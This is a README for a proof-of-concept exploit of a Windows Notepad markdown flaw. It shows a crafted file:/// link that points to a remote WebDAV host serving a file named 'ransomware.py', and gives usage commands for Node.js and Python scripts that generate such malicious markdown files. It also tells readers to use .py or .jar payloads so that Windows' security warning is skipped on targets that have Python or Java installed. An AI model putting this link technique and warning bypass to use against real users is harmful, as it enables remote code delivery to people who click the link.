
PoC for the "Windows Notepad RCE"
PoC of the "Windows Notepad RCE" vulnerability.
The "vulnerability" is simple. The markdown engine in Windows Notepad doesn't care about obscure URL protocols. As a malware analyst, I've read many reports about WebDAV- and SMB-based payload deployment. From this doc, one can abuse the file:/// protocol and create a URL that points to a file on a WebDAV/SMB server.
[BadLink](file:///\\webdav-payload-host@5005\DavWWWRoot\ransomware.py)
I've made two scripts. One in Node.js and the other in Python. Both create a markdown file pointing to a WebDAV payload. You may use the example payloads in the sample-payloads folder.
node poc.js <webdav-server> <port> <payload/path/on/server>
python poc.py <webdav-server> <port> <payload/path/on/server>
The output (poc.md) will show up in the current directory.
Most payload file extensions (e.g., .exe, .lnk, .vbs, ...) will still trigger a built-in warning despite the Notepad app being vulnerable. The warning comes from Windows itself. At least everything I have tested that can lead to code execution on a default OOB installation shows this mandatory warning.

If the target device has Python or Java installed, you may use a .py or .jar payload to bypass the warning pop-up.

Clicking on the link now shows a new pop-up warning.
You can find the vulnerable version of Windows Notepad from Uptodown. Remember to check the digital signature of the installer and make sure that it's from Microsoft. Also, you should test this PoC only in a VM.
Stay safe and have fun!